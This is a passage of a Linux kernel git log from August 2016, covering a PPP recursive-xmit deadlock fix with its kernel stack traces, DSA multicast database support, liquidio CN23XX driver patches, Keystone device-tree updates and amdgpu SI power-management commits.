[ 973.728986] Call Trace: [ 973.728986] [] dump_stack+0x67/0x90 [ 973.728986] [] print_circular_bug+0x22e/0x23c [ 973.728986] [] __lock_acquire+0x1118/0x1483 [ 973.728986] [] lock_acquire+0x150/0x217 [ 973.728986] [] ? lock_acquire+0x150/0x217 [ 973.728986] [] ? sch_direct_xmit+0x8d/0x221 [ 973.728986] [] _raw_spin_lock+0x2d/0x3c [ 973.728986] [] ? sch_direct_xmit+0x8d/0x221 [ 973.728986] [] sch_direct_xmit+0x8d/0x221 [ 973.728986] [] __dev_queue_xmit+0x62a/0x912 [ 973.728986] [] dev_queue_xmit+0xb/0xd [ 973.728986] [] neigh_direct_output+0xc/0xe [ 973.728986] [] ip_finish_output2+0x5db/0x609 [ 973.728986] [] ? dst_mtu+0x29/0x2e [ 973.728986] [] ip_finish_output+0x152/0x15e [ 973.728986] [] ? ip_output+0x74/0x96 [ 973.728986] [] ip_output+0x8c/0x96 [ 973.728986] [] ip_local_out+0x41/0x4a [ 973.728986] [] ip_queue_xmit+0x5a5/0x609 [ 973.728986] [] ? udp_set_csum+0x207/0x21e [ 973.728986] [] l2tp_xmit_skb+0x582/0x5d7 [l2tp_core] [ 973.728986] [] pppol2tp_xmit+0x1f2/0x25e [l2tp_ppp] [ 973.728986] [] ppp_channel_push+0xb5/0x14a [ppp_generic] [ 973.728986] [] ppp_write+0x104/0x11c [ppp_generic] [ 973.728986] [] __vfs_write+0x56/0x120 [ 973.728986] [] ? fsnotify_perm+0x27/0x95 [ 973.728986] [] ? security_file_permission+0x4d/0x54 [ 973.728986] [] vfs_write+0xbd/0x11b [ 973.728986] [] SyS_write+0x5e/0x96 [ 973.728986] [] entry_SYSCALL_64_fastpath+0x18/0xa8 [ 973.728986] [] ? trace_hardirqs_off_caller+0x121/0x12f Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller drivers/net/ppp/ppp_generic.c | 2 ++ 1 file changed, 2 insertions(+) commit 55454a565836e1cb002d433e901804dea4406a32 Author: Guillaume Nault Date: Sat Aug 27 22:22:32 2016 +0200 ppp: avoid dealock on recursive xmit In case of misconfiguration, a virtual PPP channel might send packets back to their parent PPP interface. This typically happens in misconfigured L2TP setups, where PPP's peer IP address is set with the IP of the L2TP peer. When that happens the system hangs due to PPP trying to recursively lock its xmit path. [ 243.332155] BUG: spinlock recursion on CPU#1, accel-pppd/926 [ 243.333272] lock: 0xffff880033d90f18, .magic: dead4ead, .owner: accel-pppd/926, .owner_cpu: 1 [ 243.334859] CPU: 1 PID: 926 Comm: accel-pppd Not tainted 4.8.0-rc2 #1 [ 243.336010] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Debian-1.8.2-1 04/01/2014 [ 243.336018] ffff7fffffffffff ffff8800319a77a0 ffffffff8128de85 ffff880033d90f18 [ 243.336018] ffff880033ad8000 ffff8800319a77d8 ffffffff810ad7c0 ffffffff0000039e [ 243.336018] ffff880033d90f18 ffff880033d90f60 ffff880033d90f18 ffff880033d90f28 [ 243.336018] Call Trace: [ 243.336018] [] dump_stack+0x4f/0x65 [ 243.336018] [] spin_dump+0xe1/0xeb [ 243.336018] [] spin_bug+0x26/0x28 [ 243.336018] [] do_raw_spin_lock+0x5c/0x160 [ 243.336018] [] _raw_spin_lock_bh+0x35/0x3c [ 243.336018] [] ? ppp_push+0xa7/0x82d [ppp_generic] [ 243.336018] [] ppp_push+0xa7/0x82d [ppp_generic] [ 243.336018] [] ? do_raw_spin_unlock+0xc2/0xcc [ 243.336018] [] ? preempt_count_sub+0x13/0xc7 [ 243.336018] [] ? _raw_spin_unlock_irqrestore+0x34/0x49 [ 243.336018] [] ppp_xmit_process+0x48/0x877 [ppp_generic] [ 243.336018] [] ? preempt_count_sub+0x13/0xc7 [ 243.336018] [] ? skb_queue_tail+0x71/0x7c [ 243.336018] [] ppp_start_xmit+0x21b/0x22a [ppp_generic] [ 243.336018] [] dev_hard_start_xmit+0x15e/0x32c [ 243.336018] [] sch_direct_xmit+0xd6/0x221 [ 243.336018] [] __dev_queue_xmit+0x52a/0x820 [ 243.336018] [] dev_queue_xmit+0xb/0xd [ 243.336018] [] neigh_direct_output+0xc/0xe [ 243.336018] [] ip_finish_output2+0x4d2/0x548 [ 243.336018] [] ? dst_mtu+0x29/0x2e [ 243.336018] [] ip_finish_output+0x152/0x15e [ 243.336018] [] ? ip_output+0x74/0x96 [ 243.336018] [] ip_output+0x8c/0x96 [ 243.336018] [] ip_local_out+0x41/0x4a [ 243.336018] [] ip_queue_xmit+0x531/0x5c5 [ 243.336018] [] ? udp_set_csum+0x207/0x21e [ 243.336018] [] l2tp_xmit_skb+0x582/0x5d7 [l2tp_core] [ 243.336018] [] pppol2tp_xmit+0x1eb/0x257 [l2tp_ppp] [ 243.336018] [] ppp_channel_push+0x91/0x102 [ppp_generic] [ 243.336018] [] ppp_write+0x104/0x11c [ppp_generic] [ 243.336018] [] __vfs_write+0x56/0x120 [ 243.336018] [] ? fsnotify_perm+0x27/0x95 [ 243.336018] [] ? security_file_permission+0x4d/0x54 [ 243.336018] [] vfs_write+0xbd/0x11b [ 243.336018] [] SyS_write+0x5e/0x96 [ 243.336018] [] entry_SYSCALL_64_fastpath+0x13/0x94 The main entry points for sending packets over a PPP unit are the .write() and .ndo_start_xmit() callbacks (simplified view): .write(unit fd) or .ndo_start_xmit() \ CALL ppp_xmit_process() \ LOCK unit's xmit path (ppp->wlock) | CALL ppp_push() \ LOCK channel's xmit path (chan->downl) | CALL lower layer's .start_xmit() callback \ ... might recursively call .ndo_start_xmit() ... / RETURN from .start_xmit() | UNLOCK channel's xmit path / RETURN from ppp_push() | UNLOCK unit's xmit path / RETURN from ppp_xmit_process() Packets can also be directly sent on channels (e.g. LCP packets): .write(channel fd) or ppp_output_wakeup() \ CALL ppp_channel_push() \ LOCK channel's xmit path (chan->downl) | CALL lower layer's .start_xmit() callback \ ... might call .ndo_start_xmit() ... / RETURN from .start_xmit() | UNLOCK channel's xmit path / RETURN from ppp_channel_push() Key points about the lower layer's .start_xmit() callback: * It can be called directly by a channel fd .write() or by ppp_output_wakeup() or indirectly by a unit fd .write() or by .ndo_start_xmit(). * In any case, it's always called with chan->downl held. * It might route the packet back to its parent unit using .ndo_start_xmit() as entry point. This patch detects and breaks recursion in ppp_xmit_process(). This function is a good candidate for the task because it's called early enough after .ndo_start_xmit(), it's always part of the recursion loop and it's on the path of whatever entry point is used to send a packet on a PPP unit. Recursion detection is done using the per-cpu ppp_xmit_recursion variable. Since ppp_channel_push() too locks the channel's xmit path and calls the lower layer's .start_xmit() callback, we need to also increment ppp_xmit_recursion there. However there's no need to check for recursion, as it's out of the recursion loop. Reported-by: Feng Gao Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller drivers/net/ppp/ppp_generic.c | 52 +++++++++++++++++++++++++++++++++---------- 1 file changed, 40 insertions(+), 12 deletions(-) commit ce0b15d1103102b78ad95739fa71e62fb16774bd Author: stephen hemminger Date: Wed Aug 31 08:57:36 2016 -0700 xgbe: constify get_netdev_ops and get_ethtool_ops Casting away const is bad practice. Since this is ARM specific driver don't have hardware actually test this. Having getter functions for ops is really unnecessary code bloat, but not going to touch that. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/ethernet/amd/xgbe/xgbe-drv.c | 4 ++-- drivers/net/ethernet/amd/xgbe/xgbe-ethtool.c | 4 ++-- drivers/net/ethernet/amd/xgbe/xgbe.h | 5 +++-- 3 files changed, 7 insertions(+), 6 deletions(-) commit 07469f8ceb55add2ef771aece078027eb20f88b6 Merge: dbeb714 7df8fbd Author: David S. Miller Date: Wed Aug 31 14:15:43 2016 -0700 Merge branch 'dsa-mdb-support' Vivien Didelot says: ==================== net: dsa: add MDB support This patchset adds the switchdev MDB object support to the DSA layer. The MDB support for the mv88e6xxx driver is very similar to the FDB support. The FDB operations care about unicast addresses while the MDB operations care about multicast addresses. Both operation set load/purge/dump the Address Translation Table (ATU), thus common code is used. Changes in v2 based on Andrew's comments: - drop "group" in multicast database related doc and comment - change _one for more relevant _fid in mv88e6xxx_port_db_dump_one - return -EOPNOTSUPP if switchdev obj ID is neither _FDB nor _MDB ==================== Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller commit 7df8fbdd44fa3c7ed53964c95e440b0286fd0836 Author: Vivien Didelot Date: Wed Aug 31 11:50:05 2016 -0400 net: dsa: mv88e6xxx: add MDB support Add support for the MDB operations. This consists of loading/purging/dumping multicast addresses for a given port in the ATU. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 65 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) commit 83dabd1fa84cdf288303f8cbe7a56849bb553ea9 Author: Vivien Didelot Date: Wed Aug 31 11:50:04 2016 -0400 net: dsa: mv88e6xxx: make switchdev DB ops generic The MDB support for the mv88e6xxx driver will be very similar to the FDB support, since it consists of loading/purging/dumping address to/from the Address Translation Unit (ATU). Prepare the support for MDB by making the FDB code accessing the ATU generic. The FDB operations now provide access to the unicast addresses while the MDB operations will provide access to the multicast addresses. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 100 ++++++++++++++++++++++----------------- 1 file changed, 57 insertions(+), 43 deletions(-) commit 8df3025520aaeba36aba867a4851f8968ac65b4d Author: Vivien Didelot Date: Wed Aug 31 11:50:03 2016 -0400 net: dsa: add MDB support Add SWITCHDEV_OBJ_ID_PORT_MDB support to the DSA layer. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller Documentation/networking/dsa/dsa.txt | 23 +++++++++++++++ include/net/dsa.h | 16 +++++++++++ net/dsa/slave.c | 55 ++++++++++++++++++++++++++++++++++++ 3 files changed, 94 insertions(+) commit dbeb714a5b11d26cec49e8bb5ba61e7f9b6639ac Merge: 650097c c0eab5b Author: David S. Miller Date: Wed Aug 31 14:12:49 2016 -0700 Merge branch 'liquidio-CN23XX-part-1' Raghu Vatsavayi says: ==================== liquidio CN23XX support Following patchset adds support for new device "CN23XX" in liquidio family of adapters. As adviced by you I have split the previous V3 patch of 18 patches into two halves. This first patchset has first 10 patches, which are tested against net-next. I will post the second half after this one. This V4 patch also addressed all the comments from previous submission: 1) Avoid busy loop while reading registers. 2) Other minor comments about debug messages and constants. Please apply patches in following order as some of the patches depend on earlier patches. ==================== Signed-off-by: David S. Miller commit c0eab5b3580af67196b6b4a59db8ed44fc5ed46c Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:29 2016 -0700 liquidio: CN23XX firmware download Add firmware download support for cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../ethernet/cavium/liquidio/cn23xx_pf_device.c | 40 +++++++ .../ethernet/cavium/liquidio/cn23xx_pf_device.h | 2 + drivers/net/ethernet/cavium/liquidio/lio_main.c | 115 ++++++++++++--------- 3 files changed, 111 insertions(+), 46 deletions(-) commit 5b07aee11227fa4ccbf9b084e4fb44f655b135c0 Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:28 2016 -0700 liquidio: MSIX support for CN23XX This patch adds support msix interrupt for cn23xx device. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../ethernet/cavium/liquidio/cn23xx_pf_device.c | 166 +++++++++++-- .../net/ethernet/cavium/liquidio/cn66xx_device.c | 10 +- .../net/ethernet/cavium/liquidio/cn66xx_device.h | 4 +- drivers/net/ethernet/cavium/liquidio/lio_main.c | 269 +++++++++++++++++---- .../net/ethernet/cavium/liquidio/octeon_device.c | 39 +++ .../net/ethernet/cavium/liquidio/octeon_device.h | 33 ++- 6 files changed, 452 insertions(+), 69 deletions(-) commit 1b7c55c4538bac0eb850359c955f452a8b56c192 Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:27 2016 -0700 liquidio: CN23XX queue manipulation This patch adds support for cn23xx queue manipulation. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../ethernet/cavium/liquidio/cn23xx_pf_device.c | 213 +++++++++++++++++++++ .../net/ethernet/cavium/liquidio/cn66xx_device.c | 4 +- .../net/ethernet/cavium/liquidio/cn66xx_device.h | 2 +- drivers/net/ethernet/cavium/liquidio/lio_main.c | 12 +- .../net/ethernet/cavium/liquidio/octeon_device.h | 2 +- 5 files changed, 225 insertions(+), 8 deletions(-) commit 3451b97cce2d7827bd76378ae6e9aeb7e8fc463d Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:26 2016 -0700 liquidio: CN23XX register setup Adds support for initializing cn23xx device registers related to mac, input/output and pf global config. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../ethernet/cavium/liquidio/cn23xx_pf_device.c | 259 +++++++++++++++++++++ drivers/net/ethernet/cavium/liquidio/lio_main.c | 24 +- .../net/ethernet/cavium/liquidio/octeon_config.h | 3 + .../net/ethernet/cavium/liquidio/octeon_device.h | 38 +++ 4 files changed, 316 insertions(+), 8 deletions(-) commit 72c0091293c0082e78fe6110058f808244bd574d Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:25 2016 -0700 liquidio: CN23XX device init and sriov config Add support for cn23xx device init and sriov queue config. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/Makefile | 1 + .../ethernet/cavium/liquidio/cn23xx_pf_device.c | 527 +++++++++++++++++++++ .../ethernet/cavium/liquidio/cn23xx_pf_device.h | 7 + drivers/net/ethernet/cavium/liquidio/lio_main.c | 10 +- 4 files changed, 544 insertions(+), 1 deletion(-) commit e86b1ab6866690691f19a456f24fef8e633e5546 Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:24 2016 -0700 liquidio: CN23XX queue definitions Add support for cn23xx specific queue definitions and features. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/Kconfig | 2 +- .../ethernet/cavium/liquidio/cn23xx_pf_device.h | 48 +++++++ drivers/net/ethernet/cavium/liquidio/lio_main.c | 47 ++++--- .../net/ethernet/cavium/liquidio/octeon_config.h | 56 ++++++-- .../net/ethernet/cavium/liquidio/octeon_device.c | 142 ++++++++++++++++++++- .../net/ethernet/cavium/liquidio/octeon_device.h | 24 +++- 6 files changed, 286 insertions(+), 33 deletions(-) commit 5bc67f587ba7eaa8dd3976bfeff8f2b60718c871 Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:23 2016 -0700 liquidio: CN23XX register definitions This patch adds register definitions and structures for new device cn23xx. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller .../net/ethernet/cavium/liquidio/cn23xx_pf_regs.h | 604 +++++++++++++++++++++ 1 file changed, 604 insertions(+) commit cd8b1eb4e59e7d20409a1330abe662b996c54b00 Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:22 2016 -0700 liquidio: Common enable irq function Add support of common irq enable functionality for both iq(instruction queue) and oq(output queue). Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 1 + .../net/ethernet/cavium/liquidio/liquidio_common.h | 2 +- .../net/ethernet/cavium/liquidio/octeon_device.c | 17 +++++++++++ .../net/ethernet/cavium/liquidio/octeon_device.h | 2 ++ drivers/net/ethernet/cavium/liquidio/octeon_droq.c | 33 +++++++++++++--------- drivers/net/ethernet/cavium/liquidio/octeon_droq.h | 2 ++ drivers/net/ethernet/cavium/liquidio/octeon_iq.h | 2 ++ .../net/ethernet/cavium/liquidio/request_manager.c | 3 ++ 8 files changed, 48 insertions(+), 14 deletions(-) commit 83101ce338fc4448000ed0acb71352c1c2c4331b Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:21 2016 -0700 liquidio: Firmware version management This patch contains changes for firmware version management. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/lio_main.c | 12 ++++++++++-- .../net/ethernet/cavium/liquidio/liquidio_common.h | 20 +++++++++++++++++--- 2 files changed, 27 insertions(+), 5 deletions(-) commit 3258124534f65c94423238b41fa72633529878c4 Author: Raghu Vatsavayi Date: Wed Aug 31 11:03:20 2016 -0700 liquidio: Consolidate common functionality Consolidate common functionality of various devices from different files into lio_core.c/octeon_console.c. Signed-off-by: Derek Chickles Signed-off-by: Satanand Burla Signed-off-by: Felix Manlunas Signed-off-by: Raghu Vatsavayi Signed-off-by: David S. Miller drivers/net/ethernet/cavium/liquidio/Makefile | 23 +- .../net/ethernet/cavium/liquidio/cn66xx_device.c | 31 --- .../net/ethernet/cavium/liquidio/cn66xx_device.h | 1 - .../net/ethernet/cavium/liquidio/cn68xx_device.c | 1 - drivers/net/ethernet/cavium/liquidio/lio_core.c | 261 +++++++++++++++++++ drivers/net/ethernet/cavium/liquidio/lio_ethtool.c | 18 +- drivers/net/ethernet/cavium/liquidio/lio_main.c | 276 +-------------------- .../net/ethernet/cavium/liquidio/octeon_console.c | 117 ++++++++- .../net/ethernet/cavium/liquidio/octeon_device.c | 104 -------- .../net/ethernet/cavium/liquidio/octeon_device.h | 1 - drivers/net/ethernet/cavium/liquidio/octeon_main.h | 24 +- .../net/ethernet/cavium/liquidio/octeon_mem_ops.c | 1 - .../net/ethernet/cavium/liquidio/octeon_network.h | 2 - drivers/net/ethernet/cavium/liquidio/octeon_nic.c | 8 +- drivers/net/ethernet/cavium/liquidio/octeon_nic.h | 2 +- 15 files changed, 426 insertions(+), 444 deletions(-) commit 11b897a2f7c6d6be93f9f6754438f96eed9236df Author: Nishanth Menon Date: Wed Aug 31 16:32:04 2016 -0400 ARM: dts: keystone-k2g: Add Message Manager node Introduce the message manager node for the A15 queues on which Linux runs. The Message Manager is primarily used for communication with Power Management controller on K2G. Signed-off-by: Nishanth Menon Signed-off-by: Santosh Shilimkar arch/arm/boot/dts/keystone-k2g.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit e0f0b54c026c9665cbb88303481a0f984190e056 Author: Andrew F. Davis Date: Wed Aug 31 16:29:59 2016 -0400 ARM: dts: keystone-k2g: Add DSP GPIO controller node Add the DSP GPIO controller node on K2G SoC. This is used to send interrupts to the only DSP processor subsystem present on the SoC. The IP is identical to that of the equivalent nodes on existing K2 SoCs. Signed-off-by: Andrew F. Davis Signed-off-by: Suman Anna Signed-off-by: Santosh Shilimkar arch/arm/boot/dts/keystone-k2g.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 0884b1b3382ffe1fd5b639192c9272a82cbe2349 Author: Andrew F. Davis Date: Wed Aug 31 16:29:59 2016 -0400 ARM: dts: keystone-k2g: Add keystone IRQ controller node Add the Keystone IRQ controller IP node on K2G SoC. This allows the ARM CorePac core to receive interrupts from remote processor devices (eg: DSP) on the SoC. The IP is identical in functionality to that of the equivalent nodes on existing K2 SoCs. The only difference is the ARM INTC interrupt id/event number. Signed-off-by: Andrew F. Davis Signed-off-by: Suman Anna Signed-off-by: Santosh Shilimkar arch/arm/boot/dts/keystone-k2g.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 08fa198ded16cb0ec573c10f2f4a8523b319b2c6 Author: Andrew F. Davis Date: Wed Aug 31 16:29:59 2016 -0400 ARM: dts: keystone-k2g: Add device state controller node Add the device state controller node as a syscon node to the K2G SoC. This module provides similar device control functionality as that on the existing K2 SoCs. One example usage would be the boot address programming of the DSP processor sub-system. Signed-off-by: Andrew F. Davis Signed-off-by: Suman Anna Signed-off-by: Santosh Shilimkar arch/arm/boot/dts/keystone-k2g.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit 644978440c7f621281a7b068b92a12250e8d4793 Author: Grygorii Strashko Date: Wed Aug 31 16:29:59 2016 -0400 ARM: dts: keystone: specify usb mode explicitly The USB OTG mode is not supported by Kestone 2 devices, as result, the USB devices enumeration and detection will not work properly when kernel is built with CONFIG_USB_DWC3_DUAL_ROLE=y (default for multi platform build): - it's required to load gadget drivers manually to make host mode work and this confuses current Keystone 2 users - device mode is not working, because port can't detect and switch to peripheral/host mode dynamically. Hence, specify usb mode explicitly in DT: usb0 = "host" for all KS2 devices and usb1 = "peripheral" for K2E. Cc: Sekhar Nori Cc: Roger Quadros Signed-off-by: Grygorii Strashko Signed-off-by: Santosh Shilimkar arch/arm/boot/dts/keystone-k2e-evm.dts | 12 ++++++++++-- arch/arm/boot/dts/keystone-k2e.dtsi | 4 ++-- arch/arm/boot/dts/keystone-k2hk-evm.dts | 6 +++++- arch/arm/boot/dts/keystone-k2l-evm.dts | 6 +++++- arch/arm/boot/dts/keystone.dtsi | 4 ++-- 5 files changed, 24 insertions(+), 8 deletions(-) commit 2b2fd56d7e92f134ecaae5c89e20f64dd0f95aa2 Author: Dave Airlie Date: Thu Sep 1 06:16:12 2016 +1000 Revert "drm: make DRI1 drivers depend on BROKEN" This reverts commit d10571fc4fba7d57fb8157f0be61dcbe4a7965ca. This isn't how we get to do this unfortunately. Signed-off-by: Dave Airlie drivers/gpu/drm/Kconfig | 1 - 1 file changed, 1 deletion(-) commit 5e7a1d0170b06b1557768d6ddc93da1aed02961a Merge: e9c3dde 339fd36 Author: Dave Airlie Date: Thu Sep 1 06:15:38 2016 +1000 Merge tag 'topic/drm-misc-2016-08-31' of git://anongit.freedesktop.org/drm-intel into drm-next More -misc stuff - moar drm_crtc.c split up&documentation - some fixes for the simple kms helpers (Andrea) - I included all the dri1 patches from David - we're not removing any code or drivers, and it seems to have worked as a wake-up call to motivate a few more people to upstream kms conversions for these. Feel free to revert if you disagree strongly. - a few other single patches * tag 'topic/drm-misc-2016-08-31' of git://anongit.freedesktop.org/drm-intel: (24 commits) drm: drm_probe_helper: Fix output_poll_work scheduling drm: bridge/dw-hdmi: Fix colorspace and scan information registers values drm/doc: Polish docs for drm_property&drm_property_blob drm: Unify handling of blob and object properties drm: Extract drm_property.[hc] drm: move drm_mode_legacy_fb_format to drm_fourcc.c drm/doc: Polish docs for drm_mode_object drm: Remove drm_mode_object->atomic_count drm: Extract drm_mode_object.[hc] drm/doc: Polish kerneldoc for encoders drm: Extract drm_encoder.[hc] drm/fb-helper: don't call remove_conflicting_framebuffers for FB=m && DRM=y drm/atomic-helper: Add NO_DISABLE_AFTER_MODESET flag support for plane commit drm/atomic-helper: Disable appropriate planes in disable_planes_on_crtc() drm/atomic-helper: Add atomic_disable CRTC helper callback drm: simple_kms_helper: add support for bridges drm: simple_kms_helper: make connector optional at init time drm/bridge: introduce bridge detaching mechanism drm/simple-helpers: Always add planes to the state update drm: reduce GETCLIENT to a minimum ... commit 81b1f69e0185b1e9053ae5ce3948967ccaa29bba Author: Roger Quadros Date: Wed Aug 31 16:10:42 2016 -0400 ARM: keystone: defconfig: Fix USB configuration Simply enabling CONFIG_KEYSTONE_USB_PHY doesn't work anymore as it depends on CONFIG_NOP_USB_XCEIV. We need to enable that as well. This fixes USB on Keystone boards from v4.8-rc1 onwards. Signed-off-by: Roger Quadros Signed-off-by: Santosh Shilimkar arch/arm/configs/keystone_defconfig | 1 + 1 file changed, 1 insertion(+) commit 2c0d7318c8b071bf9688bb5f2bedba95856e0d42 Author: Chunming Zhou Date: Tue Aug 30 16:36:25 2016 +0800 drm/amdgpu: add gart recovery by gtt list V2 V2: a. gart recovery should be ahead of ring test. b. rename to amdgpu_ttm_recover_gart Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 5 +++++ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 25 +++++++++++++++++++++++++ 3 files changed, 31 insertions(+) commit 5c1354bd30c118326236e13cfdc49db03d2b5855 Author: Chunming Zhou Date: Tue Aug 30 16:13:10 2016 +0800 drm/amdgpu: link all gtt when binding them V2 V2: spin lock instead of mutex for gtt list Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 ++++ drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 4 ++++ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 9 +++++++++ 3 files changed, 17 insertions(+) commit 78fbb6859b739f7f67c820ab8c9e7a25add977b5 Author: Ken Wang Date: Thu Jan 21 17:33:00 2016 +0800 drm/amdgpu: add si pciids v2 Acked-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 74 +++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) commit a8c65c137884f3b65815424d100abfba0c3b3b44 Author: Alex Deucher Date: Mon Aug 1 16:05:47 2016 -0400 drm/amdgpu/si: Add updated smc firmware for SI kickers Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 48 +++++++++++++++++++++++++++++++++---- 1 file changed, 44 insertions(+), 4 deletions(-) commit 295d0dafd31c9a26f3d34a9bdc75f226e18fd9a2 Author: Ken Wang Date: Tue May 24 21:02:53 2016 +0800 drm/amdgpu: Add SI Family information Signed-off-by: Ken Wang Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 + include/uapi/drm/amdgpu_drm.h | 1 + 2 files changed, 2 insertions(+) commit 1919696eedc1ed5c3ace229576e4fa322fb256dd Author: Maruthi Srinivas Bayyavarapu Date: Tue Apr 26 20:35:36 2016 +0530 drm/amdgpu: enable SI DPM Signed-off-by: Maruthi Bayyavarapu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/Makefile | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 10 ++++++++++ drivers/gpu/drm/amd/amdgpu/si.c | 8 ++++---- 3 files changed, 15 insertions(+), 5 deletions(-) commit 84b77336eea3690b4261c05707a7aba23b61fbad Author: Huang Rui Date: Wed Aug 31 13:23:18 2016 +0800 drm/amdgpu: use DRM print instead of printk Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit 841686df9f7d2942cfd94d024b8591fa3f74ef7c Author: Maruthi Bayyavarapu Date: Mon Aug 1 12:42:32 2016 -0400 drm/amdgpu: add SI DPM support (v4) v2: corrected register offset shift v3: rebase fixes v4: fix firmware paths add SI smc firmware versions for sysfs dump remove unused function forward define fix the tahiti specific value of DEEP_SLEEP_CLK_SEL field fix to miss adding thermal controller use vram_type instead of checking mem_gddr5 flag fix incorrect index of CG_FFCT_0 register fix incorrect reading method at si_get_current_pcie_speed Signed-off-by: Maruthi Bayyavarapu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 6 + drivers/gpu/drm/amd/amdgpu/r600_dpm.h | 127 + drivers/gpu/drm/amd/amdgpu/si_dpm.c | 7986 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/si_dpm.h | 1015 +++++ drivers/gpu/drm/amd/amdgpu/si_smc.c | 1 + 5 files changed, 9135 insertions(+) commit 0c34f45368422dc34545a56a60f3884ffc3a4a3b Author: Maruthi Srinivas Bayyavarapu Date: Tue Apr 26 20:31:54 2016 +0530 drm/amdgpu: add SI SMC support Signed-off-by: Maruthi Bayyavarapu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_smc.c | 280 ++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/sislands_smc.h | 423 ++++++++++++++++++++++++++++++ 2 files changed, 703 insertions(+) commit 9139d731fdaa52b85543f2713d65ca860e0ce884 Author: Maruthi Srinivas Bayyavarapu Date: Tue Apr 26 20:24:38 2016 +0530 drm/amdgpu: add si dpm support in amdgpu_atombios v2: renamed _atom_ to _atombios_ for consistency added ulClockParams to _COMPUTE_MEMORY_ENGINE_PLL_PARAMETERS_V3 and _COMPUTE_MEMORY_ENGINE_PLL_PARAMETERS_V5 to avoid build break Signed-off-by: Maruthi Bayyavarapu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_atombios.c | 158 +++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_atombios.h | 16 ++- drivers/gpu/drm/amd/include/atombios.h | 2 + 3 files changed, 175 insertions(+), 1 deletion(-) commit da69c161448d6a682b3761d9bc444161cbf25337 Author: Ken Wang Date: Thu Jan 21 19:08:55 2016 +0800 drm/amdgpu: add si specific logic into the device initialize function v3 v3: guard doorbell_fini as well Reviewed-by: Christian König Signed-off-by: Ken Wang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 22 +++++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) commit 